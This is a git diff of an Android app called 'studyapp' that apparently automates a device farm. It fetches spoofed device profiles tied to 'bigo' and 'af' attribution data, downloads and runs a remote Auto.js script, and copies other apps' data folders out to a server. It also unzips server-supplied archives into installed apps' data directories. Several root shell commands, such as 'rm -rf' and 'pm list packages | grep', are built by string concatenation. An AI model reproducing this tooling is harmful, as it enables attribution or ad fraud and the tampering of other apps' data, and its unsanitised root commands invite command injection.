diff --git a/.idea/misc.xml b/.idea/misc.xml index 8562ed5..cb150cf 100644 --- a/.idea/misc.xml +++ b/.idea/misc.xml @@ -1,3 +1,4 @@ + diff --git a/app/release/app-release.apk b/app/release/app-release.apk index ecb3892..d00931d 100644 Binary files a/app/release/app-release.apk and b/app/release/app-release.apk differ diff --git a/app/release/baselineProfiles/0/app-release.dm b/app/release/baselineProfiles/0/app-release.dm index 14beb73..91e7504 100644 Binary files a/app/release/baselineProfiles/0/app-release.dm and b/app/release/baselineProfiles/0/app-release.dm differ diff --git a/app/release/baselineProfiles/1/app-release.dm b/app/release/baselineProfiles/1/app-release.dm index da5afbb..de6e882 100644 Binary files a/app/release/baselineProfiles/1/app-release.dm and b/app/release/baselineProfiles/1/app-release.dm differ diff --git a/app/src/main/java/com/example/studyapp/MainActivity.java b/app/src/main/java/com/example/studyapp/MainActivity.java index e60a741..ba1bed2 100644 --- a/app/src/main/java/com/example/studyapp/MainActivity.java +++ b/app/src/main/java/com/example/studyapp/MainActivity.java @@ -36,7 +36,7 @@ import com.example.studyapp.service.MyAccessibilityService; import com.example.studyapp.task.TaskUtil; import com.example.studyapp.worker.CheckAccessibilityWorker; import java.lang.ref.WeakReference; -import java.util.concurrent.CountDownLatch; +import java.util.UUID; import java.util.concurrent.ExecutorService; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.ThreadPoolExecutor; @@ -200,7 +200,8 @@ public class MainActivity extends AppCompatActivity { // 初始化 ChangeDeviceInfoUtil String androidId = getAndroidId(this); - ChangeDeviceInfoUtil.initialize("US", 2, this,androidId); + String taskId = UUID.randomUUID().toString(); + ChangeDeviceInfoUtil.initialize("US", 2, this, androidId); // 获取输入框和按钮 Button executeButton = findViewById(R.id.execute_button); Button stopExecuteButton = findViewById(R.id.stop_execute_button); @@ -210,7 +211,7 @@ public class MainActivity extends AppCompatActivity { executeButton.setOnClickListener(v -> { executeButton.setEnabled(false); Toast.makeText(this, "任务正在执行", Toast.LENGTH_SHORT).show(); - executeLogic(androidId); + executeLogic(androidId,taskId); }); } if (stopExecuteButton != null) { @@ -227,7 +228,7 @@ public class MainActivity extends AppCompatActivity { } } - private void executeLogic(String androidId) { + private void executeLogic(String androidId,String taskId) { Log.i("MainActivity", "executeLogic: Start execution"); if (!isNetworkAvailable(this)) { @@ -248,10 +249,10 @@ public class MainActivity extends AppCompatActivity { taskLock.wait(30000); } executeSingleLogic(); - TaskUtil.execSaveTask(this,androidId); + TaskUtil.execSaveTask(this, androidId,taskId); scriptResult = "bin.mt.plus"; if (scriptResult != null && !TextUtils.isEmpty(scriptResult)) { - infoUpload(this,androidId, scriptResult); + infoUpload(this, androidId, scriptResult); } } } diff --git a/app/src/main/java/com/example/studyapp/autoJS/AutoJsUtil.java b/app/src/main/java/com/example/studyapp/autoJS/AutoJsUtil.java index 08e96b7..ffd4a33 100644 --- a/app/src/main/java/com/example/studyapp/autoJS/AutoJsUtil.java +++ b/app/src/main/java/com/example/studyapp/autoJS/AutoJsUtil.java @@ -3,16 +3,12 @@ package com.example.studyapp.autoJS; import static com.example.studyapp.MainActivity.taskLock; import static com.example.studyapp.task.TaskUtil.downloadCodeFile; -import static com.example.studyapp.task.TaskUtil.infoUpload; -import android.Manifest; -import android.content.ActivityNotFoundException; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.pm.PackageManager; -import android.os.Build; import android.os.Environment; import android.os.Handler; import android.os.Looper; @@ -22,19 +18,10 @@ import android.widget.Toast; import androidx.core.content.ContextCompat; import com.example.studyapp.MainActivity; -import com.example.studyapp.request.ScriptResultRequest; -import com.example.studyapp.service.CloudPhoneManageService; +import com.example.studyapp.utils.ShellUtils; import java.io.File; -import java.io.IOException; -import java.util.Objects; -import retrofit2.Call; -import retrofit2.Callback; -import retrofit2.Response; -import retrofit2.Retrofit; -import retrofit2.converter.gson.GsonConverterFactory; - public class AutoJsUtil { public static BroadcastReceiver scriptResultReceiver; @@ -45,19 +32,17 @@ public class AutoJsUtil { public static void runAutojsScript(Context context) { // 检查脚本文件 Log.i("AutoJsUtil", "-------脚本运行开始:--------" + count++); - File scriptFile = new File(Environment.getExternalStorageDirectory(), "script/main.js"); - - if (!scriptFile.exists()) { - scriptFile = downloadCodeFile("main.js"); - if (scriptFile == null || !scriptFile.exists()) { - runOnUiThread(() -> Toast.makeText(context, "下载脚本文件失败", Toast.LENGTH_SHORT).show()); - Log.e("AutoJsUtil", "下载脚本文件失败"); - return; - } + File scriptDir = new File(Environment.getExternalStorageDirectory(), "script"); + scriptDir.delete(); + File scriptFile = downloadCodeFile("main.js", scriptDir); + if (scriptFile == null || !scriptFile.exists()) { + runOnUiThread(() -> Toast.makeText(context, "下载脚本文件失败", Toast.LENGTH_SHORT).show()); + Log.e("AutoJsUtil", "下载脚本文件失败"); + return; } // 检查是否安装 Auto.js - if (!isAppInstalled("org.autojs.autojs6", context.getPackageManager())) { + if (!isAppInstalled("org.autojs.autojs6")) { runOnUiThread(() -> Toast.makeText(context, "Auto.js app not installed", Toast.LENGTH_SHORT).show()); return; } @@ -87,12 +72,10 @@ public class AutoJsUtil { public void onReceive(Context context, Intent intent) { Log.d("MainActivity", "----脚本运行结束通知一次------; 当前线程:" + Thread.currentThread().getName()); String scriptResult = intent.getStringExtra(SCRIPT_RESULT_KEY); - if (scriptResult != null && !scriptResult.isEmpty()) { - synchronized (taskLock) { - AutoJsUtil.flag = true; - MainActivity.scriptResult = scriptResult; - taskLock.notifyAll(); // 唤醒任务线程 - } + synchronized (taskLock) { + AutoJsUtil.flag = true; + MainActivity.scriptResult = scriptResult; + taskLock.notifyAll(); // 唤醒任务线程 } } @@ -125,15 +108,28 @@ public class AutoJsUtil { } // 检查目标应用是否安装 - public static boolean isAppInstalled(String packageName, PackageManager packageManager) { + public static boolean isAppInstalled(String packageName) { + Log.d("isAppInstalled", "Checking if app is installed: " + packageName); + + // 通过 Shell 命令实现检测 try { - packageManager.getPackageInfo(packageName, 0); - return true; - } catch (PackageManager.NameNotFoundException e) { + String cmd = "pm list packages | grep " + packageName; + String result = ShellUtils.execRootCmdAndGetResult(cmd); + + if (result != null && result.contains(packageName)) { + Log.d("isAppInstalled", "App is installed: " + packageName); + return true; + } else { + Log.w("isAppInstalled", "App not installed: " + packageName); + return false; + } + } catch (Exception e) { + Log.e("isAppInstalled", "Unexpected exception while checking app installation: " + packageName, e); return false; } } + private static final String AUTOJS_SCRIPT_FINISHED_ACTION = "org.autojs.SCRIPT_FINISHED"; private static final String SCRIPT_RESULT_KEY = "result"; diff --git a/app/src/main/java/com/example/studyapp/device/ChangeDeviceInfoUtil.java b/app/src/main/java/com/example/studyapp/device/ChangeDeviceInfoUtil.java index a8af6aa..fd67d1b 100644 --- a/app/src/main/java/com/example/studyapp/device/ChangeDeviceInfoUtil.java +++ b/app/src/main/java/com/example/studyapp/device/ChangeDeviceInfoUtil.java @@ -1,11 +1,12 @@ package com.example.studyapp.device; +import static com.example.studyapp.autoJS.AutoJsUtil.isAppInstalled; + import android.content.ContentResolver; import android.content.Context; import android.net.Uri; import android.util.Log; -import com.example.studyapp.MainActivity; import com.example.studyapp.task.AfInfo; import com.example.studyapp.task.BigoInfo; import com.example.studyapp.task.DeviceInfo; @@ -13,8 +14,10 @@ import com.example.studyapp.task.TaskUtil; import com.example.studyapp.utils.HttpUtil; import com.example.studyapp.utils.ShellUtils; +import java.io.File; import java.io.IOException; import java.lang.reflect.InvocationTargetException; +import java.util.Map; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import org.json.JSONException; @@ -48,32 +51,81 @@ public class ChangeDeviceInfoUtil { // 创建一个线程池用于执行网络任务 private static final ExecutorService executorService = Executors.newSingleThreadExecutor(); - public static void initialize(String country, int tag, MainActivity mainActivity, String androidId) { + public static void initialize(String country, int tag, Context context, String androidId) { + Log.d("TaskUtil", "initialize method called with parameters:"); + Log.d("TaskUtil", "Country: " + country + ", Tag: " + tag + ", Android ID: " + androidId); + Log.d("TaskUtil", "Context instance: " + (context != null ? context.getClass().getSimpleName() : "null")); + executorService.submit(() -> { try { + Log.d("TaskUtil", "Starting network requests..."); + // 发起网络请求 String bigoJson = HttpUtil.requestGet(buildBigoUrl(country, tag)); + Log.d("TaskUtil", "Received bigoJson: " + bigoJson); + String afJson = HttpUtil.requestGet(buildAfUrl(country, tag)); + Log.d("TaskUtil", "Received afJson: " + afJson); + String response = executeQuerySafely(androidId); + Log.d("TaskUtil", "Response from executeQuerySafely: " + response); // 解析 JSON if (response != null && !response.isBlank() && !response.equals("{}\n")) { + Log.d("TaskUtil", "Parsing existing response JSON..."); JSONObject responseJson = new JSONObject(response); bigoDeviceObject = responseJson.optJSONObject("bigoDeviceObject"); afDeviceObject = responseJson.optJSONObject("afDeviceObject"); + Log.d("TaskUtil", "Parsed bigoDeviceObject: " + bigoDeviceObject); + Log.d("TaskUtil", "Parsed afDeviceObject: " + afDeviceObject); } else { + Log.d("TaskUtil", "Fallback to parsing bigoJson and afJson..."); bigoDeviceObject = new JSONObject(bigoJson).optJSONObject("device"); afDeviceObject = new JSONObject(afJson).optJSONObject("device"); + Log.d("TaskUtil", "Fallback bigoDeviceObject: " + bigoDeviceObject); + Log.d("TaskUtil", "Fallback afDeviceObject: " + afDeviceObject); } // 输出结果 - Log.d("Debug", "bigoDeviceObject: " + bigoDeviceObject); - Log.d("Debug", "afDeviceObject: " + afDeviceObject); + Log.i("TaskUtil", "Final bigoDeviceObject: " + bigoDeviceObject); + Log.i("TaskUtil", "Final afDeviceObject: " + afDeviceObject); + // 获取包信息 + Log.d("TaskUtil", "Fetching package info..."); + Map packageInfo = TaskUtil.getPackageInfo(androidId); + Log.d("TaskUtil", "Package info retrieved: " + packageInfo); + + // 遍历包信息并执行逻辑 + for (String packAgeName : packageInfo.keySet()) { + Log.d("TaskUtil", "Processing package: " + packAgeName); + if (isAppInstalled(packAgeName)) { + Log.d("TaskUtil", "Package installed: " + packAgeName); + + File filesDir = new File(context.getExternalFilesDir(null).getAbsolutePath()); + Log.d("TaskUtil", "Files directory: " + filesDir.getAbsolutePath()); + + File file = TaskUtil.downloadCodeFile(packageInfo.get(packAgeName), filesDir); + if (file != null && file.exists()) { + Log.d("TaskUtil", "File downloaded: " + file.getAbsolutePath()); + File destDir = new File("/storage/emulated/0/Android/data/" + packAgeName); + Log.d("TaskUtil", "Unzipping to destination: " + destDir.getAbsolutePath()); + + TaskUtil.unZip(destDir, file); + Log.d("TaskUtil", "Unzip completed. Deleting file: " + file.getAbsolutePath()); + + TaskUtil.delFileSh(file.getAbsolutePath()); + Log.d("TaskUtil", "Temporary file deleted: " + file.getAbsolutePath()); + } else { + Log.w("TaskUtil", "File download failed or file does not exist for package: " + packAgeName); + } + } else { + Log.w("TaskUtil", "Package not installed: " + packAgeName); + } + } } catch (IOException | JSONException e) { - Log.e("Error", "Error occurred during initialization", e); + Log.e("TaskUtil", "Error occurred during initialization", e); } catch (Exception e) { - Log.e("Error", "Unexpected error occurred", e); + Log.e("TaskUtil", "Unexpected error occurred", e); } }); } diff --git a/app/src/main/java/com/example/studyapp/task/TaskUtil.java b/app/src/main/java/com/example/studyapp/task/TaskUtil.java index 03d3d31..7e7557f 100644 --- a/app/src/main/java/com/example/studyapp/task/TaskUtil.java +++ b/app/src/main/java/com/example/studyapp/task/TaskUtil.java @@ -1,18 +1,21 @@ package com.example.studyapp.task; import android.content.Context; -import android.content.pm.PackageInfo; -import android.content.pm.PackageManager; import android.os.Environment; import android.util.Log; -import com.example.studyapp.utils.MockTools; import com.example.studyapp.utils.ShellUtils; +import com.google.android.gms.common.util.CollectionUtils; +import com.google.android.gms.common.util.MapUtils; import com.google.gson.Gson; import com.google.gson.GsonBuilder; +import com.google.gson.reflect.TypeToken; import java.io.BufferedOutputStream; import java.io.FileInputStream; import java.io.InputStream; import java.io.OutputStream; +import java.lang.reflect.Type; +import java.util.List; +import java.util.Map; import java.util.concurrent.TimeUnit; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream; @@ -53,7 +56,7 @@ public class TaskUtil { .readTimeout(30, TimeUnit.SECONDS) // 读取超时 .build(); - public static void postDeviceInfo(String androidId) { + public static void postDeviceInfo(String androidId, String taskId) { Log.i("TaskUtil", "postDeviceInfo called with androidId: " + androidId); if (okHttpClient == null) { @@ -81,6 +84,7 @@ public class TaskUtil { .newBuilder() .addPathSegment("device_info_upload") .addQueryParameter("id", androidId) + .addQueryParameter("taskId", taskId) .build(); Log.d("TaskUtil", "Request URL: " + url.toString()); @@ -183,7 +187,7 @@ public class TaskUtil { return; } - String apkSourceDir = "/storage/emulated/0/Android/data/"+packAge; + String apkSourceDir = "/storage/emulated/0/Android/data/" + packAge; Log.d("TaskUtil", "APK source directory: " + apkSourceDir); File externalDir = context.getExternalFilesDir(null); @@ -197,7 +201,7 @@ public class TaskUtil { File zipFile = new File(outputZipPath); if (zipFile.exists()) { - delFileSh(zipFile.getAbsolutePath()); + delFileSh(zipFile.getAbsolutePath()); } File copiedDir = new File(context.getCacheDir(), packAge); if (copiedDir.exists()) { @@ -205,9 +209,9 @@ public class TaskUtil { } copyFolderSh(apkSourceDir, copiedDir.getAbsolutePath()); boolean success = clearUpFileInDst(copiedDir); - if (success){ + if (success) { // 压缩APK文件 - zipSh(copiedDir, zipFile); + compressToZip(copiedDir, zipFile); } // 上传压缩文件 @@ -223,30 +227,6 @@ public class TaskUtil { delFileSh(zipFile.getAbsolutePath()); } - public static void delFileSh(String path) { - Log.i("TaskUtil", "start delFileSh : " + path); - - // 1. 参数校验 - if (path == null || path.isEmpty()) { - Log.e("TaskUtil", "Invalid or empty path provided."); - return; - } - File file = new File(path); - if (!file.exists()) { - Log.e("TaskUtil", "File does not exist: " + path); - return; - } - - // 3. 执行 Shell 命令 - try { - String cmd = "rm -rf " + path; - Log.i("TaskUtil", "Attempting to delete file using Shell command."); - ShellUtils.execRootCmd(cmd); - Log.i("TaskUtil", "File deletion successful for path: " + path); - } catch (Exception e) { - Log.e("TaskUtil", "Error occurred while deleting file: " + e.getMessage(), e); - } - } public static boolean copyFolderSh(String oldPath, String newPath) { Log.i("TaskUtil", "start copyFolderSh : " + oldPath + " ; " + newPath); try { @@ -287,9 +267,6 @@ public class TaskUtil { } } - - private static final int BUFFER_SIZE = 1024 * 4; - private static boolean clearUpFileInDst(File dst) { if (dst.exists()) { File[] files = dst.listFiles(); @@ -313,23 +290,96 @@ public class TaskUtil { } } } - return true ; + return true; } - return false ; + return false; } + public static void delFileSh(String path) { + Log.i("TaskUtil", "start delFileSh : " + path); + // 1. 参数校验 + if (path == null || path.isEmpty()) { + Log.e("TaskUtil", "Invalid or empty path provided."); + return; + } + File file = new File(path); + if (!file.exists()) { + Log.e("TaskUtil", "File does not exist: " + path); + return; + } + + // 3. 执行 Shell 命令 + try { + String cmd = "rm -rf " + path; + Log.i("TaskUtil", "Attempting to delete file using Shell command."); + ShellUtils.execRootCmd(cmd); + Log.i("TaskUtil", "File deletion successful for path: " + path); + } catch (Exception e) { + Log.e("TaskUtil", "Error occurred while deleting file: " + e.getMessage(), e); + } + } private static void delFile(File file) { + if (file == null || !file.exists()) { + Log.e("TaskUtil", "File does not exist or is null."); + return; + } + try { - String cmd = "rm -rf " + file; - Log.i("TaskUtil", "delFile-> cmd:" + cmd); + String cmd = "rm -rf " + file.getAbsolutePath(); + Log.i("TaskUtil", "Deleting file: " + file.getName()); ShellUtils.execRootCmd(cmd); } catch (Exception e) { - e.printStackTrace(); + Log.e("TaskUtil", "Error occurred while deleting file: " + file, e); + throw new RuntimeException("File deletion failed", e); } } + private static void compressToZip(File src, File dst) throws IOException { + Log.d("TaskUtil", "Starting to compress the APK directory..."); + + if (!src.exists() || !src.isDirectory()) { + throw new IOException("Source path does not exist or is not a directory: " + src.getAbsolutePath()); + } + if (dst.exists()) { + throw new IOException("Destination ZIP file already exists: " + dst.getAbsolutePath()); + } + if (!dst.getParentFile().canWrite()) { + throw new IOException("Parent directory of destination file is not writable: " + dst.getAbsolutePath()); + } + + try (FileOutputStream fos = new FileOutputStream(dst); + ZipOutputStream zipOut = new ZipOutputStream(fos)) { + addDirToZip(src, "", zipOut); + Log.i("TaskUtil", "Directory successfully compressed to ZIP: " + dst.getName()); + } catch (IOException e) { + Log.e("TaskUtil", "Error during directory compression", e); + throw e; + } + } + + private static void addDirToZip(File src, String parentPath, ZipOutputStream zipOut) throws IOException { + File[] files = src.listFiles(); + if (files != null) { + for (File file : files) { + String zipEntryName = parentPath + file.getName(); + if (file.isDirectory()) { + addDirToZip(file, zipEntryName + "/", zipOut); + } else { + try (FileInputStream fis = new FileInputStream(file)) { + zipOut.putNextEntry(new ZipEntry(zipEntryName)); + byte[] buffer = new byte[4096]; // 默认 Buffer 大小 + int bytesRead; + while ((bytesRead = fis.read(buffer)) >= 0) { + zipOut.write(buffer, 0, bytesRead); + } + zipOut.closeEntry(); + } + } + } + } + } public static void zipSh(File copyDir, File zipFile) { try { @@ -357,6 +407,125 @@ public class TaskUtil { } } + public static void unZip(File destinationDir, File zipFile) { + Log.d("TaskUtil", "unZip method called with parameters:"); + Log.d("TaskUtil", "Destination directory: " + (destinationDir != null ? destinationDir.getAbsolutePath() : "null")); + Log.d("TaskUtil", "ZIP file: " + (zipFile != null ? zipFile.getAbsolutePath() : "null")); + + try { + // 校验输入参数 + if (destinationDir == null || zipFile == null) { + Log.e("TaskUtil", "Destination directory or ZIP file is null."); + throw new IllegalArgumentException("Destination directory or ZIP file cannot be null."); + } + + if (!zipFile.exists() || !zipFile.isFile()) { + Log.e("TaskUtil", "Invalid ZIP file: " + zipFile.getAbsolutePath()); + throw new IllegalArgumentException("Invalid ZIP file: " + zipFile.getAbsolutePath()); + } + + // 创建目标目录(如果不存在) + if (!destinationDir.exists()) { + boolean mkdirs = destinationDir.mkdirs(); + Log.d("TaskUtil", "Destination directory created: " + mkdirs + ", Path: " + destinationDir.getAbsolutePath()); + if (!mkdirs) { + Log.e("TaskUtil", "Failed to create destination directory: " + destinationDir.getAbsolutePath()); + throw new IOException("Failed to create destination directory: " + destinationDir.getAbsolutePath()); + } + } else { + Log.d("TaskUtil", "Destination directory already exists: " + destinationDir.getAbsolutePath()); + } + + // 使用Java自带的ZipInputStream解压文件 + try (FileInputStream fis = new FileInputStream(zipFile); + java.util.zip.ZipInputStream zis = new java.util.zip.ZipInputStream(fis)) { + + Log.d("TaskUtil", "ZipInputStream opened for ZIP file: " + zipFile.getAbsolutePath()); + java.util.zip.ZipEntry zipEntry; + while ((zipEntry = zis.getNextEntry()) != null) { + Log.d("TaskUtil", "Processing entry: " + zipEntry.getName()); + File newFile = new File(destinationDir, zipEntry.getName()); + + // 检查目标文件路径是否合法,避免安全漏洞 + if (!newFile.getCanonicalPath().startsWith(destinationDir.getCanonicalPath())) { + Log.e("TaskUtil", "Unzip entry is outside of the target directory: " + newFile.getAbsolutePath()); + throw new IOException("Unzip entry is outside of the target directory: " + newFile.getAbsolutePath()); + } + + if (zipEntry.isDirectory()) { + // 如果是目录,则创建目录 + if (!newFile.exists() && newFile.mkdirs()) { + Log.d("TaskUtil", "Directory created: " + newFile.getAbsolutePath()); + } + } else { + // 如果是文件,则写入文件 + File parent = newFile.getParentFile(); + if (!parent.exists()) { + boolean parentCreated = parent.mkdirs(); + Log.d("TaskUtil", "Parent directory created: " + parentCreated + ", Path: " + parent.getAbsolutePath()); + if (!parentCreated) { + Log.e("TaskUtil", "Failed to create parent directory: " + parent.getAbsolutePath()); + throw new IOException("Failed to create parent directory: " + parent.getAbsolutePath()); + } + } + try (FileOutputStream fos = new FileOutputStream(newFile)) { + Log.d("TaskUtil", "Writing to file: " + newFile.getAbsolutePath()); + byte[] buffer = new byte[4096]; + int length; + while ((length = zis.read(buffer)) > 0) { + fos.write(buffer, 0, length); + } + } + Log.d("TaskUtil", "File written successfully: " + newFile.getAbsolutePath()); + } + zis.closeEntry(); + } + } + Log.i("TaskUtil", "Unzip successful. Extracted to: " + destinationDir.getAbsolutePath()); + } catch (Exception e) { + Log.e("TaskUtil", "Error in unZip method", e); + } + } + + public static void unzipSh(File destinationDir, File zipFile) { + try { + if (destinationDir == null || zipFile == null) { + throw new IllegalArgumentException("Destination directory or ZIP file cannot be null."); + } + + if (!zipFile.exists() || !zipFile.isFile()) { + throw new IllegalArgumentException("Invalid ZIP file: " + zipFile.getAbsolutePath()); + } + + if (!destinationDir.exists()) { + boolean mkdirs = destinationDir.mkdirs(); + if (!mkdirs) { + throw new IOException("Failed to create destination directory: " + destinationDir.getAbsolutePath()); + } + } + + String destPath = destinationDir.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\""); + String zipFilePath = zipFile.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\""); + + // 构造解压命令 + String cmd = "unzip -o \"" + zipFilePath + "\" -d \"" + destPath + "\""; + Log.i("TaskUtil", "unzipSh-> cmd: " + cmd.replace(zipFilePath, "[ZIP_FILE_PATH]").replace(destPath, "[DESTINATION_PATH]")); + + // 执行命令 + String result = ShellUtils.execRootCmdAndGetResult(cmd); + + // 检查返回结果 + if (result == null || result.contains("error")) { + Log.e("TaskUtil", "Shell command execution failed: " + result); + throw new IOException("Shell command failed. Result: " + result); + } + + Log.i("TaskUtil", "Unzip successful. Extracted to: " + destinationDir.getAbsolutePath()); + } catch (Exception e) { + Log.e("TaskUtil", "Error in unzipSh", e); + } + } + public static void uploadFile(File fileToUpload) throws IOException { Log.d("TaskUtil", "Preparing to upload file..."); RequestBody fileBody = RequestBody.create(MediaType.get("application/zip"), fileToUpload); @@ -389,6 +558,67 @@ public class TaskUtil { } } + public static File downloadCodeFile(String fileName, File filesLocationDir) { + String baseUrl = BASE_URL + "/download_code_file"; + String fullUrl = baseUrl + "?file_name=" + fileName; + + Log.d("TaskUtil", "Download URL constructed: " + fullUrl); // 添加日志记录URL + + Request request = new Request.Builder() + .url(fullUrl) + .get() + .build(); + + try (Response response = okHttpClient.newCall(request).execute()) { + Log.d("TaskUtil", "HTTP request executed. Response code: " + response.code()); // 记录响应代码 + + if (response.isSuccessful() && response.body() != null) { + Log.d("TaskUtil", "Response is successful. Preparing to save file."); // 记录成功响应 + + // 检查目录是否存在 + if (!filesLocationDir.exists()) { + boolean dirCreated = filesLocationDir.mkdirs(); + Log.d("TaskUtil", "Directory created: " + filesLocationDir.getAbsolutePath() + " - " + dirCreated); + } + + File saveFile = new File(filesLocationDir, fileName); + Log.d("TaskUtil", "Target file path: " + saveFile.getAbsolutePath()); + + try (InputStream is = response.body().byteStream(); + OutputStream os = new BufferedOutputStream(new FileOutputStream(saveFile))) { + + Log.d("TaskUtil", "Starting to write file..."); + byte[] buffer = new byte[8192]; + int bytesRead; + while ((bytesRead = is.read(buffer)) != -1) { + os.write(buffer, 0, bytesRead); + } + + Log.i("TaskUtil", "File saved successfully to: " + saveFile.getAbsolutePath()); + } + return saveFile; + } else { + Log.w("TaskUtil", "Download failed. HTTP code: " + response.code() + ", Message: " + response.message()); + + // 如果响应体不为空则记录内容 + if (response.body() != null) { + try { + String responseBody = response.body().string(); + Log.e("TaskUtil", "Response body: " + responseBody); + } catch (IOException e) { + Log.e("TaskUtil", "Failed to read response body for logging", e); + } + } else { + Log.e("TaskUtil", "Response body is null"); + } + return null; + } + } catch (IOException e) { + Log.e("TaskUtil", "Error during file download. Exception: " + e.getMessage(), e); + return null; + } + } + private static void validate() { if (okHttpClient == null) { throw new IllegalStateException("HttpClient is not initialized"); @@ -398,6 +628,69 @@ public class TaskUtil { } } + public static Map getPackageInfo(String androidId) { + Log.i("TaskUtil", "getPackageInfo called with androidId: " + androidId); + + try { + // 构造完整的URL + HttpUrl url = HttpUrl.parse(BASE_URL + "/get_package_info") + .newBuilder() + .addQueryParameter("androidId", androidId) + .build(); + + Log.d("TaskUtil", "Constructed URL: " + url.toString()); + + // 创建 HTTP 请求 + Request request = new Request.Builder() + .url(url) + .get() + .build(); + + // 同步执行网络请求 + try (Response response = okHttpClient.newCall(request).execute()) { + // 检查响应是否成功 + if (!response.isSuccessful()) { + String errorMessage = "Unexpected response: Code=" + response.code() + + ", Message=" + response.message() + + ", URL=" + url.toString(); + Log.e("TaskUtil", errorMessage); + throw new IOException(errorMessage); + } + + // 解析响应内容 + ResponseBody responseBody = response.body(); + if (responseBody != null) { + String responseString = responseBody.string(); + // 定义Gson对象 + Gson gson = new Gson(); + + // 指定解析的泛型类型为 Map> + Type type = new TypeToken>() { + }.getType(); + + // 将JSON字符串转换为 Map + Map resultMap = gson.fromJson(responseString, type); + + // 根据androidId获取对应的文件列表 + if (resultMap != null) { + return resultMap; + } else { + Log.w("TaskUtil", "Android ID not found in response."); + return null; + } + } else { + String errorMessage = "Response body is null for URL=" + url.toString(); + Log.e("TaskUtil", errorMessage); + throw new IOException(errorMessage); + } + } + } catch (IOException e) { + Log.e("TaskUtil", "Error during getPackageInfo request", e); + } + + return null; // 如果出错,返回null + } + private static void infoDownload(String androidId) { // 下载压缩包 HttpUrl url = HttpUrl.parse(BASE_URL + "/tar_info_download") @@ -438,54 +731,11 @@ public class TaskUtil { }); } - public static File downloadCodeFile(String fileName) { - String baseUrl = BASE_URL + "/download_code_file"; - String fullUrl = baseUrl + "?file_name=" + fileName; - - Request request = new Request.Builder() - .url(fullUrl) - .get() - .build(); - - try (Response response = okHttpClient.newCall(request).execute()) { - if (response.isSuccessful() && response.body() != null) { - File scriptDir = new File(Environment.getExternalStorageDirectory(), "script"); - if (!scriptDir.exists()) { - scriptDir.mkdirs(); // 创建 script 目录 - } - - File saveFile = new File(scriptDir, fileName); - - try (InputStream is = response.body().byteStream(); - OutputStream os = new BufferedOutputStream(new FileOutputStream(saveFile))) { - - byte[] buffer = new byte[8192]; - int bytesRead; - while ((bytesRead = is.read(buffer)) != -1) { - os.write(buffer, 0, bytesRead); - } - - Log.i("TaskUtil", "File saved to: " + saveFile.getAbsolutePath()); - } - return saveFile; - } else { - Log.w("TaskUtil", "Download failed: HTTP code " + response.code()); - if (response.body() != null) { - Log.e("TaskUtil", "Response body: " + response.body().string()); - } - return null; - } - } catch (Exception e) { - Log.e("TaskUtil", "Error downloading file", e); - return null; - } - } - public static String execQueryTask(String androidId) { return getDeviceInfoSync(androidId); } - public static void execSaveTask(Context context, String androidId) { + public static void execSaveTask(Context context, String androidId, String taskId) { if (context == null) { throw new IllegalArgumentException("Context or Package name cannot be null or empty"); } @@ -496,7 +746,7 @@ public class TaskUtil { } try { - postDeviceInfo(androidId); + postDeviceInfo(androidId, taskId); } catch (Exception e) { System.err.println("Error in execReloginTask: " + e.getMessage()); e.printStackTrace(); diff --git a/app/src/test/java/com/example/studyapp/task/TaskUtilTest.java b/app/src/test/java/com/example/studyapp/task/TaskUtilTest.java index f2bb185..c3158c8 100644 --- a/app/src/test/java/com/example/studyapp/task/TaskUtilTest.java +++ b/app/src/test/java/com/example/studyapp/task/TaskUtilTest.java @@ -8,7 +8,6 @@ import static org.mockito.ArgumentMatchers.anyString; import static org.mockito.Mockito.any; import static org.mockito.Mockito.doAnswer; import static org.mockito.Mockito.mock; -import static org.mockito.Mockito.times; import static org.mockito.Mockito.verify; import static org.mockito.Mockito.when; import org.mockito.Mockito; @@ -131,7 +130,8 @@ public class TaskUtilTest { public void testPostDeviceInfoDownload_Success() throws Exception { // 运行上传方法 - TaskUtil.postDeviceInfo("b3d893cf9de3a85a"); + String taskId = "asddasdasd"; + TaskUtil.postDeviceInfo("b3d893cf9de3a85a", taskId); } @Test @@ -141,11 +141,11 @@ public class TaskUtilTest { TaskUtil.getDeviceInfoSync("b3d893cf9de3a85a"); } - @Test - public void testDownloadCodeFile_Success() throws Exception { - // 运行上传方法 - TaskUtil.downloadCodeFile("main.js"); - } + // @Test + // public void testDownloadCodeFile_Success() throws Exception { + // // 运行上传方法 + // TaskUtil.downloadCodeFile("main.js"); + // } @Test public void testUploadFile_FailureWithResponseBody() throws Exception {